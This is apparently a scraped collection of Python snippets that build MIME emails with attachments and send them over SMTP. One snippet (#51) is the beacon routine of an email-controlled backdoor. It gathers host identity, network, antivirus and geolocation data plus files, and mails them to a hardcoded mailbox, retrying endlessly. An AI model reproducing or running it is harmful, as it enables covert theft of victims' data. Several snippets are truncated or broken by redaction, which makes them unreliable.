        if email_bcc:
            msg['Bcc'] = encode_rfc2822_address_header(
                COMMASPACE.join(email_bcc))
        msg['Date'] = formatdate()
        # Custom headers may override normal headers or provide additional ones
        for key, value in headers.iteritems():
            msg[ustr(key).encode('utf-8')] = encode_header(value)

        if subtype == 'html' and not body_alternative and html2text:
            # Always provide alternative text body ourselves if possible.
            text_utf8 = tools.html2text(
                email_body_utf8.decode('utf-8')).encode('utf-8')
            alternative_part = MIMEMultipart(_subtype="alternative")
            alternative_part.attach(
                MIMEText(text_utf8, _charset='utf-8', _subtype='plain'))
            alternative_part.attach(email_text_part)
            msg.attach(alternative_part)
        elif body_alternative:
            # Include both alternatives, as specified, within a multipart/alternative part
            alternative_part = MIMEMultipart(_subtype="alternative")
            body_alternative_utf8 = ustr(body_alternative).encode('utf-8')
            alternative_body_part = MIMEText(body_alternative_utf8,
                                             _subtype=subtype_alternative,
                                             _charset='utf-8')
            alternative_part.attach(alternative_body_part)
            alternative_part.attach(email_text_part)
            msg.attach(alternative_part)
        else:
            msg.attach(email_text_part)

        if attachments:
            for (fname, fcontent) in attachments:
                filename_rfc2047 = encode_header_param(fname)
                part = MIMEBase('application', "octet-stream")

                # The default RFC2231 encoding of Message.add_header() works in Thunderbird but not GMail
                # so we fix it by using RFC2047 encoding for the filename instead.
                part.set_param('name', filename_rfc2047)
                part.add_header('Content-Disposition',
                                'attachment',
                                filename=filename_rfc2047)

                part.set_payload(fcontent)
                Encoders.encode_base64(part)
                msg.attach(part)
        return msg
Пример #47
0
def meeting_invitation(toAddr, body, datetimeStrP, method, uid):
    # def meeting_invitation():
    CRLF = "\r\n"
    fro = "<*****@*****.**>"
    attendees = toAddr  # takes a tuple
    # attendees = ['phommata <*****@*****.**>', '\n        Andrew Phommathep <*****@*****.**>', '\n        Andrew Phommathep <*****@*****.**>']
    # body = "Advising Signup with McGrath, D Kevin confirmed...\r\n" \
    #        "Please contact [email protected] if you experience problems"
    organizer = "ORGANIZER;CN=organiser:mailto:[email protected]"

    ddtstart = datetimeStrP
    # ddtstart = "2015-02-18 15:00:00"
    # ddtstart = datetime.datetime.strptime(ddtstart, "%Y-%m-%d %H:%M:%S")
    dtoff = datetime.timedelta(
        hours=8)  # Correct -8 hour UTC offset correction
    dur = datetime.timedelta(minutes=15)
    ddtstart = ddtstart + dtoff
    dtend = ddtstart + dur
    dtstamp = datetime.datetime.now().strftime("%Y%m%dT%H%M%SZ")
    dtstart = ddtstart.strftime("%Y%m%dT%H%M%SZ")
    dtend = dtend.strftime("%Y%m%dT%H%M%SZ")

    # method = "REQUEST"
    # uid = "Kevin McGrath 2015-02-18 15:00:00"

    if method == "REQUEST":
        status = "CONFIRMED"
    elif method == "CANCEL":
        status = "CANCELLED"

    description = "DESCRIPTION: " + status + CRLF
    attendee = ""
    for att in attendees:
        attendee += "ATTENDEE;CUTYPE=INDIVIDUAL;" \
                    "ROLE=REQ-PARTICIPANT;" \
                    "PARTSTAT=ACCEPTED;" \
                    "RSVP=TRUE"+CRLF+" ;" \
                    "CN="+att+";" \
                    "X-NUM-GUESTS=0:"+CRLF+" " \
                    "mailto:"+att+CRLF
    ical = "BEGIN:VCALENDAR"+CRLF+\
           "PRODID:pyICSParser"+CRLF+\
           "VERSION:2.0"+CRLF+\
           "CALSCALE:GREGORIAN"+CRLF
    ical+= "METHOD:"+ method + CRLF+\
          "BEGIN:VEVENT"+CRLF+\
          "DTSTART:"+dtstart+CRLF+\
          "DTEND:"+dtend+CRLF+\
          "DTSTAMP:"+dtstamp+CRLF+organizer+CRLF
    # http://www.baryudin.com/blog/sending-outlook-appointments-python.html
    # Create UID for meeting invitation
    # ical+= "UID:Kevin D McGrath"+CRLF
    ical += "UID:" + uid + CRLF
    ical+= attendee+\
           "CREATED:"+dtstamp+CRLF+\
           description+\
           "LAST-MODIFIED:"+dtstamp+CRLF+\
           "LOCATION:"+CRLF+\
           "SEQUENCE:0"+CRLF+\
           "STATUS:"+status+CRLF
    ical+= "SUMMARY: Advising Meeting " + status + CRLF+\
           "TRANSP:OPAQUE"+CRLF+\
           "END:VEVENT"+CRLF+\
           "END:VCALENDAR"+CRLF

    eml_body = body
    msg = MIMEMultipart('mixed')
    msg['Reply-To'] = fro
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = "Advising Meeting " + status
    msg['From'] = fro
    msg['To'] = ",".join(attendees)

    # http://stackoverflow.com/questions/10295530/how-to-set-a-charset-in-email-using-smtplib-in-python-2-7
    part_email = MIMEText(eml_body, "plain")
    part_cal = MIMEText(ical, 'calendar;method=' + method)

    msgAlternative = MIMEMultipart('alternative')
    msg.attach(msgAlternative)

    ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics"))
    ical_atch.set_payload(ical)
    Encoders.encode_base64(ical_atch)
    ical_atch.add_header('Content-Disposition',
                         'attachment; filename="%s"' % ("invite.ics"))

    eml_atch = MIMEBase('text/plain', '')
    Encoders.encode_base64(eml_atch)
    eml_atch.add_header('Content-Transfer-Encoding', "")

    msgAlternative.attach(part_email)
    msgAlternative.attach(part_cal)

    mailServer = smtplib.SMTP('mail.engr.oregonstate.edu', 587)
    mailServer.sendmail(fro, attendees, msg.as_string())
    mailServer.close()
Пример #48
0
def send_alert():

    FLOG = fileio()

    #Jiggery pokery to get the input domainlist to switch to a .zip extention
    domainlist = CON.domainlist
    domainlist = domainlist.split('.csv')
    domainlist = str(domainlist[0]) + '.zip'

    print '[-] Domainlist set as: ' + str(domainlist) + '\n'

    #Build the e-mail body
    email_body = 'WhoisDL has completed a run ' + str(
        datetime.datetime.now().strftime("%I:%M%p on %B %d, %Y")) + '\n'
    email_body += '\n'
    email_body += 'Attachments: \n'
    email_body += str(
        domainlist) + ': Full downloaded list of newly registered domains.\n'
    email_body += 'output.csv: Grepped output of domains based on keyword searches.\n'

    #Loop through each recipient in the list and send them each an e-mail
    for recipient_entry in CON.recipient_list:
        print '\r\n[-] Sending e-mail to: ' + recipient_entry
        FLOG.WriteLogFile(CON.logfile,
                          '[-] Sending e-mail to: ' + recipient_entry + '\n')

        # Build the email message
        msg = MIMEMultipart()
        msg['Subject'] = CON.email_subject.strip()
        msg['From'] = CON.email.strip()
        msg['To'] = recipient_entry
        msg.attach(MIMEText(email_body))

        #Build attachment 1, the full domain list, zipped...
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(str(domainlist), "rb").read())
        Encoders.encode_base64(part)

        part.add_header('Content-Disposition',
                        'attachment; filename=' + str(domainlist))

        msg.attach(part)

        #Build attachment 2, the actual application output
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(CON.outputdir + '/' + 'output.csv', "rb").read())
        Encoders.encode_base64(part)

        part.add_header(
            'Content-Disposition',
            'attachment; filename=' + CON.outputdir + '/' + 'output.csv')

        msg.attach(part)

        #We're all Google fans...
        server = smtplib.SMTP("smtp.gmail.com", 587)

        #Fire when rdy...
        server.ehlo()
        server.starttls()
        server.login(CON.email.strip(), CON.password.strip())
        server.sendmail(recipient_entry, recipient_entry, msg.as_string())
        server.quit()

        print '[*] Alert email sent!'
        FLOG.WriteLogFile(CON.logfile, '[*] Alert email sent!\n')

    return 0
Пример #49
0
def send_alert():

    alert_email = CON.integobject.alert_email
    csv_filename = CON.integobject.csv_filename
    csv_base_filename = 'Integ_' + os.path.basename(csv_filename)
    FLOG = fileio()

    email_body = 'Integ has completed a run ' + str(
        datetime.datetime.now().strftime("%I:%M%p on %B %d, %Y")) + '\n'

    if (CON.debug == True):
        print '\n[DEBUG] Walking through the output from alert_email ***'
        FLOG.WriteLogFile(
            CON.logfile,
            '[DEBUG] Walking through the output from alert_email ***\n')

    if (len(alert_email) == 0):
        print '\n[*] No changes in the monitored scripts have been detected during this run...***'
        FLOG.WriteLogFile(
            CON.logfile,
            '[*] No changes in the monitored scripts have been detected during this run...***\n'
        )
        email_body += '\r\rNo changes in the monitored scripts have been detected during this run...'
    else:
        # Walk through the output from alert_email
        for result in alert_email:
            if (CON.debug == True):
                print '\n[DEBUG] Result: ' + result.strip()
                FLOG.WriteLogFile(CON.logfile,
                                  '[DEBUG] Result: ' + result.strip() + '\n')

            email_body += '\r\rResult: ' + result.strip()

    for recipient_entry in CON.recipient_list:
        print '\r\n[-] Sending e-mail to: ' + recipient_entry
        FLOG.WriteLogFile(CON.logfile,
                          '[-] Sending e-mail to: ' + recipient_entry + '\n')

        # Build the email message
        msg = MIMEMultipart()
        if (CON.test == True):
            msg['Subject'] = CON.testemail_subject.strip()
        else:
            msg['Subject'] = CON.email_subject.strip()
        msg['From'] = CON.email.strip()
        msg['To'] = recipient_entry
        msg.attach(MIMEText(email_body))

        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(csv_filename, "rb").read())
        Encoders.encode_base64(part)

        part.add_header('Content-Disposition',
                        'attachment; filename=' + csv_base_filename)

        msg.attach(part)

        server = smtplib.SMTP(CON.server, int(CON.serverport))

        server.ehlo()
        server.starttls()
        server.login(CON.email.strip(), CON.password.strip())
        server.sendmail(recipient_entry, recipient_entry, msg.as_string())
        server.quit()

        print '[*] Alert email sent!'
        FLOG.WriteLogFile(CON.logfile, '[*] Alert email sent!\n')

    return 0
Пример #50
0
def send_mail(script_code, log_file):
    jsonstr = read_file("email.cfg")
    email_cfg = json.JSONDecoder().decode(jsonstr)
    import smtplib
    import mimetypes
    #from email.MIMEMultipart import MIMEMultipart
    #from email.MIMEBase import MIMEBase
    #from email.MIMEText import MIMEText
    #from email.MIMEAudio import MIMEAudio
    #from email.MIMEImage import MIMEImage
    from email.mime.multipart import MIMEMultipart
    from email.mime.base import MIMEBase
    from email.mime.text import MIMEText
    from email.mime.audio import MIMEAudio
    from email.mime.image import MIMEImage
    from email.Encoders import encode_base64
    from email import Encoders
    from email.utils import COMMASPACE, formatdate
    msg_root = MIMEMultipart()
    msg_root['From'] = os.environ["MAIL_FROM"]
    smtp_server = os.environ["SMTP_SERVER"]
    smtp_username = os.environ["SMTP_USERNAME"]
    smtp_password = os.environ["SMTP_PASSWORD"]
    mail_from = os.environ["MAIL_FROM"]
    mail_to_str = email_cfg["recipions"][script_code]
    mail_to = mail_to_str.split(";")
    msg_root['To'] = mail_to
    msg_root['Subject'] = " Batch job [%s] is done" % script_code
    html_mail_body = read_file(log_file)
    msg = MIMEMultipart()
    msg['Subject'] = " Batch job [%s] is done" % script_code
    msg['To'] = mail_to_str
    msg.attach(MIMEText(html_mail_body, 'plain', 'utf-8'))
    msg_root.attach(msg)

    log("script_code is %s" % script_code)
    if str(script_code) == '011':
        msg['Subject'] = " Company high score product count info, by Batch job [%s] " % script_code
        wbName = 'company_scores_' + str(get_last_date()) + '.xls'
        filePath = '/app/gmbatch/scripts/xls/' + wbName
        fd = file(filePath, "rb")
        mimetype, mimeencoding = mimetypes.guess_type(filePath)
        if mimeencoding or (mimetype is None):
            mimetype = "application/octet-stream"
        maintype, subtype = mimetype.split("/")
        if maintype == "text":
            retval = MIMEText(fd.read(), _subtype=subtype)
        else:
            retval = MIMEBase(maintype, subtype)
            retval.set_payload(fd.read())
            Encoders.encode_base64(retval)

        retval.add_header("Content-Disposition", "attachment", filename=wbName)
        fd.close()
        msg.attach(retval)

    mailServer = smtplib.SMTP(smtp_server, 25)
    mailServer.ehlo()
    mailServer.ehlo()
    mailServer.login(smtp_username, smtp_password)
    mailServer.sendmail(mail_from, mail_to, msg.as_string())
    mailServer.close()
    log("email send to %s" % mail_to)
Пример #51
0
    def run(self):
        sub_header = sysInfo.UniqueID
        if self.jobid:
            sub_header = 'dmp:{}:{}'.format(sysInfo.UniqueID, self.jobid)
        elif self.checkin:
            sub_header = 'hereiam:{}'.format(sysInfo.UniqueID)

        msg = MIMEMultipart()
        msg['From'] = sub_header
        msg['To'] = mail_user
        msg['Subject'] = sub_header

        message_content = infoSec.Encrypt(
            json.dumps({
                'fgwindow': detectForgroundWindows(),
                'user': '******'.format(sysInfo.User, sysInfo.PCName),
                'arch': sysInfo.Architecture,
                'os': sysInfo.WinVer,
                'cpu': sysInfo.CPU,
                'gpu': sysInfo.GPU,
                'motherboard': sysInfo.Motherboard,
                'isAdmin': sysInfo.isAdmin,
                'chassistype': sysInfo.ChassisType,
                'totalram': sysInfo.TotalRam,
                'bios': sysInfo.Bios,
                'pid': sysInfo.PID,
                'mac': sysInfo.MAC,
                'ipv4': sysInfo.IPv4,
                'av': sysInfo.Antivirus,
                'firewall': sysInfo.Firewall,
                'antispyware': sysInfo.Antispyware,
                'geolocation': sysInfo.Geolocation,
                'tag': TAG,
                'version': VERSION,
                'msg': self.text
            }))

        msg.attach(MIMEText(str(message_content)))

        for attach in self.attachment:
            if os.path.exists(attach) == True:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(open(attach, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header(
                    'Content-Disposition', 'attachment; filename="{}"'.format(
                        os.path.basename(attach)))
                msg.attach(part)

        while True:
            try:
                mailServer = SMTP()
                mailServer.connect(server, server_port)
                mailServer.starttls()
                mailServer.login(mail_user, mail_pwd)
                mailServer.sendmail(mail_user, mail_user, msg.as_string())
                mailServer.quit()
                break
            except Exception as e:
                #if verbose == True: print_exc()
                time.sleep(10)
to_addr2 = "*****@*****.**"

msg = MIMEMultipart()
msg.attach(MIMEText("汇总文件在附件,请查收!", "plain", "utf-8"))

defaultPath = os.getcwd() + '\\'
filename = '【每日销售情况汇报-'.decode('utf-8').encode('gbk') + time.strftime("%m.%d", time.localtime()) + '】.txt'.decode('utf-8').encode('gbk') 

# 添加附件就是加上一个MIMEBase,从本地读取一个图片:
with open(defaultPath + filename, 'rb') as f:
	# 设置附件的MIME和文件名,这里是png类型:
	mime = MIMEBase('application', 'octet-stream')
	# 加上必要的头信息:
	print(type(filename))
	mime.add_header('Content-Disposition', 'attachment', filename= '=?utf-8?b?' + base64.b64encode(filename) + '?=')
	# 把附件的内容读进来:
	mime.set_payload(f.read())
	# 用Base64编码:
	Encoders.encode_base64(mime)
	# 添加到MIMEMultipart:
	msg.attach(mime)

msg["From"] = _format_addr(u'HadesZ <%s>' % from_addr)
msg["To"] = _format_addr(u'小娟娟 <%s>, HadesZ <%s>' % (to_addr1, to_addr2))
msg["Subject"] = Header(u'今日景区汇总', "utf-8").encode()

server = smtplib.SMTP(smtp_server)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr1, to_addr2], msg.as_string())
server.quit()
Пример #53
0
def Afp_sendOverSMTP(sender,
                     recipients,
                     subject,
                     message,
                     html_message,
                     attachments,
                     smtphost,
                     smtpport=None,
                     debug=False,
                     tls=False,
                     user=None,
                     word=None):
    if sender and recipients and smtphost and (message or html_message):
        port = 25
        if smtpport:
            port = smtpport
        elif tls:
            port = 587
        msg = MIMEMultipart()
        msg['Subject'] = subject
        msg['From'] = sender
        msg['To'] = ', '.join(recipients)
        if message:
            part = MIMEText(message, 'plain')
            msg.attach(part)
        if html_message:
            part = MIMEText(html_message, 'html')
            msg.attach(part)
        if attachments:
            for attach in attachments:
                part = MIMEBase('application', "octet-stream")
                part.set_payload(open(attach, "rb").read())
                Encoders.encode_base64(part)
                part.add_header('Content-Disposition',
                                'attachment; filename=' + attach)
                msg.attach(part)
        if debug: print "Afp_sendOverSMTP Server:", smtphost + ":" + str(port)
        server = smtplib.SMTP(smtphost, port)
        if debug: server.set_debuglevel(1)
        if tls:
            if debug: print "Afp_sendOverSMTP: STARTTLS"
            server.starttls()
        if user and word:
            if debug: print "Afp_sendOverSMTP: LOGIN:"******"base64"))
        if debug: print "Afp_sendOverSMTP: send mail"
        server.sendmail(sender, recipients, msg.as_string())
        server.quit()
    else:
        text = "No"
        if not sender: text += " originator address,"
        if not recipients: text += " target address,"
        if not smtphost: text += " host address,"
        if not message: text += " message body,"
        if not html_message:
            if not message:
                text = text[:-1] + " or"
            text += " html-message body"
        if text[-1] == ",": text = text[:-1]
        text += " delivered!"
        print "WARNING Afp_sendOverSMTP Mail not send due to the lack of input!", text
Пример #54
0
def send_mail(send_from,
              send_to,
              subject,
              text,
              files=None,
              data_attachments=None,
              server="smtp.mail.me.com",
              port=587,
              tls=True,
              html=False,
              images=None,
              username=None,
              password=None,
              config_file=None,
              config=None):
    '''
    Send an email to the specified email addresses
    :param send_from: "from" email address
    :param send_to: List of addresses to send the email to
    :param subject: Subject of the email
    :param text: Text of the email
    :param files: Path to files to attach to the email
    :param data_attachments:
    :param server: Server to send the email from
    :param port: Port on the server to send the email from
    :param tls:
    :param html:
    :param images:
    :param username:
    :param password:
    :param config_file:
    :param config:
    :return:
    '''

    if files is None:
        files = []

    if images is None:
        images = []

    if data_attachments is None:
        data_attachments = []

    if config_file is not None:
        config = ConfigParser.ConfigParser()
        config.read(config_file)

    if config is not None:
        server = config.get('smtp', 'server')
        port = config.get('smtp', 'port')
        tls = config.get('smtp', 'tls').lower() in ('true', 'yes', 'y')
        username = config.get('smtp', 'username')
        password = config.get('smtp', 'password')

    msg = MIMEMultipart('related')
    msg['From'] = send_from
    msg['To'] = send_to if isinstance(send_to,
                                      basestring) else COMMASPACE.join(send_to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject

    msg.attach(MIMEText(text, 'html' if html else 'plain'))

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(f, "rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(f))
        msg.attach(part)

    for f in data_attachments:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(f['data'])
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % f['filename'])
        msg.attach(part)

    for (n, i) in enumerate(images):
        fp = open(i, 'rb')
        msgImage = MIMEImage(fp.read())
        fp.close()
        msgImage.add_header('Content-ID', '<image{0}>'.format(str(n + 1)))
        msg.attach(msgImage)

    smtp = smtplib.SMTP(server, int(port))
    if tls:
        smtp.starttls()

    if username is not None:
        smtp.login(username, password)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()
Пример #55
0
def sendMail(smtp_server,
             smtp_user,
             smtp_pwd,
             sender,
             subject,
             recipients,
             cc,
             body,
             files,
             encoding,
             replyto=None):
    recipient_list = []
    cc_list = []
    if recipients:
        recipient_list = recipients.split(',')
    if cc:
        cc_list = cc.split(',')
    """Send a message to the given recipient list, with the optionally attached files"""
    logger.debug("smtp_server=%s" % (smtp_server))
    logger.debug("smtp_pwd=%s" % (smtp_pwd))
    logger.debug("sender=%s" % (sender))
    logger.debug("subject=%s" % (subject))
    logger.debug("recipient_list=%s" % (recipient_list))
    logger.debug("cc_list=%s" % (cc_list))
    logger.debug("body=%s" % (body))
    logger.debug("body encoding = %s" % (encoding))
    logger.debug("files=%s" % (files))
    logger.debug("replyto=%s" % (replyto))

    msg = MIMEMultipart()
    msg['From'] = sender.encode('ascii')
    # set the To address for the message header. Make sure email addresses do not contain non-ASCII characters
    if recipient_list:
        msg['To'] = COMMASPACE.join(
            map(lambda x: x.encode('ascii'), recipient_list))
    # set the Cc address for the message header. Make sure email addresses do not contain non-ASCII characters
    if cc_list:
        msg['Cc'] = COMMASPACE.join(map(lambda x: x.encode('ascii'), cc_list))
    logger.debug("Message To is '%s'. Msg CC is '%s'" % (msg['To'], msg['Cc']))

    if replyto:
        # make sure email addresses do not contain non-ASCII characters
        msg['Reply-To'] = replyto.encode('ascii')
    msg['Date'] = formatdate(localtime=True)

    #always pass Unicode strings to Header, otherwise it will use RFC 2047 encoding even on plain ASCII strings
    msg['Subject'] = Header(to_unicode(subject), 'iso-8859-1')

    #always use Unicode for the body body, both plain and html content types
    if "html" in encoding:
        msg.attach(MIMEText(to_bytestring(body), 'html', 'utf-8'))
    else:
        msg.attach(MIMEText(to_bytestring(body), 'plain', 'utf-8'))

    for file in files:
        if not os.path.exists(file):
            raise Exception(
                "Attachment %s is not accessible. Check the file path and permissions."
                % (file))
        file_read_flags = "rb"
        try:
            mimestring = get_file_mimetype(file)
            if mimestring.startswith('text'):
                file_read_flags = "r"
            mimestring_parts = mimestring.split('/')
            part = MIMEBase(mimestring_parts[0], mimestring_parts[1])
        except AttributeError, IndexError:
            logger.error(
                "Failed to determine MIME type from mimestring %s. Reason: %s"
                % (mimestring, str(IndexError)))
            # cannot determine the mimetype so use the generic 'application/octet-stream'
            part = MIMEBase('application', 'octet-stream')
            file_read_flags = "r"
            pass
        part.set_payload(open(file, file_read_flags).read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % (os.path.basename(file)))
        msg.attach(part)
Пример #56
0
def main():

    options = MakeOpts().parse_args()

    db = MySQLDatabase(host=options.host,
                       user='******',
                       port=3306,
                       passwd='a1a1a1',
                       db='tecan')

    plate_id = options.iteration % options.num_plates
    exp_id, max_time = GetLastPlate(db, plate_id, options.reading_label)
    exp_id_url = exp_id.replace(" ", "%20")

    url = 'http://eladpc1/RoboSite/graph/%s/%s/OD600/Read' % (exp_id_url,
                                                              plate_id)
    response = urllib2.urlopen(url)
    print "Response:", response
    # Get the URL. This gets the real URL.
    print "The URL is: ", response.geturl()
    # Get all data
    html = response.read().replace(
        '/js/highcharts.js',
        'http://code.highcharts.com/highcharts.js').replace(
            '/js/modules/exporting.js',
            'http://code.highcharts.com/modules/exporting.js')
    print "Get all data: ", html
    file = 'attach.html'
    fh = open(file, "w")
    fh.write(html)
    fh.close()

    subject = "%s --> plate : %d " % (exp_id, plate_id)
    data = GetMeasuredData(db, exp_id, max_time, plate_id,
                           options.reading_label)

    csv = ''
    string = ''
    for c in range(12):
        string += "<BR>"
        for r in range(8):
            #string += data[r,c].astype('|S6')
            string += "%d , %d --> %s" % (r + 1, c + 1, data[r,
                                                             c].astype('|S6'))
            string += '<BR>'
            print "%d , %d --> %f" % (r + 1, c + 1, data[r, c])

    for r in range(8):
        csv += "<BR>"
        for c in range(12):
            csv += data[r, c].astype('|S6')
            if (c < 11):
                csv += ' ,'
            print "%d , %d --> %f" % (r + 1, c + 1, data[r, c])

    print string
    body = string
    body += '<BR><BR>'
    body += csv
    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg['From'] = sender
    content = MIMEText(body, 'html')
    msg.attach(content)

    part = MIMEBase('application', 'octet-stream')
    part.set_payload(open(file, 'rb').read())
    Encoders.encode_base64(part)
    exp = exp_id + '.html'
    part.add_header('Content-Disposition', 'attachment; filename="%s"' % exp)
    msg.attach(part)
    session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
    session.ehlo()
    session.starttls()
    session.login(sender, password)
    session.sendmail(sender, recipient, msg.as_string())

    sys.exit(1)

    headers = [
        "From: " + sender, "Subject: " + subject, "To: " + recipient,
        "MIME-Version: 1.0", "Content-Type: text/html"
    ]

    headers = "\r\n".join(headers)
    session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
    session.ehlo()
    session.starttls()
    session.login(sender, password)
    session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
    session.quit()

    print "Done!"
    sys.exit(1)
Пример #57
0
def send_email(sender,
               cc_recipients,
               bcc_recipients,
               subject,
               body,
               attachments=None):
    """Send an email.

    All arguments should be Unicode strings (plain ASCII works as well).

    Only the real name part of sender and recipient addresses may contain
    non-ASCII characters.

    The email will be properly MIME encoded and delivered though SMTP to
    172.17.0.1.  This is easy to change if you want something different.

    The charset of the email will be the first one out of US-ASCII, ISO-8859-1
    and UTF-8 that can represent all the characters occurring in the email.
    """

    # combined recipients
    recipients = cc_recipients + bcc_recipients

    # Header class is smart enough to try US-ASCII, then the charset we
    # provide, then fall back to UTF-8.
    header_charset = 'ISO-8859-1'

    # We must choose the body charset manually
    for body_charset in 'US-ASCII', 'ISO-8859-1', 'UTF-8':
        try:
            body.encode(body_charset)
        except UnicodeError:
            pass
        else:
            break

    # Split real name (which is optional) and email address parts
    sender_name, sender_addr = parseaddr(sender)
    parsed_cc_recipients = [parseaddr(rec) for rec in cc_recipients]
    parsed_bcc_recipients = [parseaddr(rec) for rec in bcc_recipients]
    #recipient_name, recipient_addr = parseaddr(recipient)

    # We must always pass Unicode strings to Header, otherwise it will
    # use RFC 2047 encoding even on plain ASCII strings.
    sender_name = str(Header(unicode(sender_name), header_charset))
    unicode_parsed_cc_recipients = []
    for recipient_name, recipient_addr in parsed_cc_recipients:
        recipient_name = str(Header(unicode(recipient_name), header_charset))
        # Make sure email addresses do not contain non-ASCII characters
        recipient_addr = recipient_addr.encode('ascii')
        unicode_parsed_cc_recipients.append((recipient_name, recipient_addr))
    unicode_parsed_bcc_recipients = []
    for recipient_name, recipient_addr in parsed_bcc_recipients:
        recipient_name = str(Header(unicode(recipient_name), header_charset))
        # Make sure email addresses do not contain non-ASCII characters
        recipient_addr = recipient_addr.encode('ascii')
        unicode_parsed_bcc_recipients.append((recipient_name, recipient_addr))

    # Make sure email addresses do not contain non-ASCII characters
    sender_addr = sender_addr.encode('ascii')

    # Create the message ('plain' stands for Content-Type: text/plain)
    msg = MIMEMultipart()
    msg['CC'] = COMMASPACE.join([
        formataddr((recipient_name, recipient_addr))
        for recipient_name, recipient_addr in unicode_parsed_cc_recipients
    ])
    msg['BCC'] = COMMASPACE.join([
        formataddr((recipient_name, recipient_addr))
        for recipient_name, recipient_addr in unicode_parsed_bcc_recipients
    ])
    msg['Subject'] = Header(unicode(subject), header_charset)
    msg['FROM'] = "*****@*****.**"
    msg.attach(MIMEText(body.encode(body_charset), 'plain', body_charset))

    # Add attachments
    if isinstance(attachments, types.DictType):
        for fname in attachments:
            part = MIMEBase('application', "octet-stream")
            part.set_payload(attachments[fname])
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % fname)
            msg.attach(part)

    # Send the message via SMTP to docker host
    smtp_url = "smtp://127.0.0.1:25"
    logger.info("smtp_url : %s" % smtp_url)
    smtp = SMTP("127.0.0.1")
    smtp.sendmail(sender, recipients, msg.as_string())
    smtp.quit()
Пример #58
0
def Envoi_mail(adresseExpediteur="",
               listeDestinataires=[],
               listeDestinatairesCCI=[],
               sujetMail="",
               texteMail="",
               listeFichiersJoints=[],
               serveur="localhost",
               port=None,
               avecAuthentification=False,
               avecStartTLS=False,
               listeImages=[],
               motdepasse=None,
               accuseReception=False):
    """ Envoi d'un mail avec pièce jointe """
    import smtplib
    import poplib
    from email.MIMEMultipart import MIMEMultipart
    from email.MIMEBase import MIMEBase
    from email.MIMEText import MIMEText
    from email.MIMEImage import MIMEImage
    from email.MIMEAudio import MIMEAudio
    from email.Utils import COMMASPACE, formatdate
    from email import Encoders
    import mimetypes

    assert type(listeDestinataires) == list
    assert type(listeFichiersJoints) == list

    # Corrige le pb des images embarquées
    index = 0
    for img in listeImages:
        img = img.replace(u"\\", u"/")
        img = img.replace(u":", u"%3a")
        texteMail = texteMail.replace(
            _(u"file:/%s") % img, u"cid:image%d" % index)
        index += 1

    # Création du message
    msg = MIMEMultipart()
    msg['From'] = adresseExpediteur
    msg['To'] = ";".join(listeDestinataires)
    msg['Bcc'] = ";".join(listeDestinatairesCCI)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = sujetMail

    if accuseReception == True:
        msg['Disposition-Notification-To'] = adresseExpediteur

    msg.attach(MIMEText(texteMail.encode('utf-8'), 'html', 'utf-8'))

    # Attache des pièces jointes
    for fichier in listeFichiersJoints:
        """Guess the content type based on the file's extension. Encoding
        will be ignored, altough we should check for simple things like
        gzip'd or compressed files."""
        ctype, encoding = mimetypes.guess_type(fichier)
        if ctype is None or encoding is not None:
            # No guess could be made, or the file is encoded (compresses), so
            # use a generic bag-of-bits type.
            ctype = 'application/octet-stream'
        maintype, subtype = ctype.split('/', 1)
        if maintype == 'text':
            fp = open(fichier)
            # Note : we should handle calculating the charset
            part = MIMEText(fp.read(), _subtype=subtype)
            fp.close()
        elif maintype == 'image':
            fp = open(fichier, 'rb')
            part = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
        elif maintype == 'audio':
            fp = open(fichier, 'rb')
            part = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
        else:
            fp = open(fichier, 'rb')
            part = MIMEBase(maintype, subtype)
            part.set_payload(fp.read())
            fp.close()
            # Encode the payload using Base64
            Encoders.encode_base64(part)
        # Set the filename parameter
        nomFichier = os.path.basename(fichier)
        if type(nomFichier) == unicode:
            nomFichier = FonctionsPerso.Supprime_accent(nomFichier)
        part.add_header('Content-Disposition',
                        'attachment',
                        filename=nomFichier)
        msg.attach(part)

    # Images incluses
    index = 0
    for img in listeImages:
        fp = open(img, 'rb')
        msgImage = MIMEImage(fp.read())
        fp.close()
        msgImage.add_header('Content-ID', '<image%d>' % index)
        msgImage.add_header('Content-Disposition', 'inline', filename=img)
        msg.attach(msgImage)
        index += 1

##    pop = poplib.POP3(serveur)
##    print pop.getwelcome()
##    pop.user(adresseExpediteur)
##    pop.pass_(motdepasse)
##    print pop.stat()
##    print pop.list()

## Certains SMTP (exemple Orange Pro) demandent une authentifcation (en général user : boite mail et pwd : mot de passe associé au smtp sécurisé )
## mais ne supportent pas le mode starttls
## Ces identifiants sont généralement utilisés lors d'un envoi de mail abec un FAI différent du propriétaire du SMTP
## Par exemple pour envoyer un mail avec le smtp pro orange depuis un autre FAI (Free, SFR....)
##      serveur : smtp.premium.orange.fr - port 587
##      user : [email protected]
##      pwd : mon_pwd
##  On positionne dans ce cas le parametre avecAuthentification a True
##  et le parametre avecStartTLS est positionné selon l'état du support de la fonction startTLS par le SMTP

    if motdepasse == None:
        motdepasse = ""

    if avecAuthentification in (0, False, None):
        # Envoi standard
        smtp = smtplib.SMTP(serveur, timeout=150)
    else:
        # Si identification SSL nécessaire :
        smtp = smtplib.SMTP(serveur, port, timeout=150)
        smtp.ehlo()
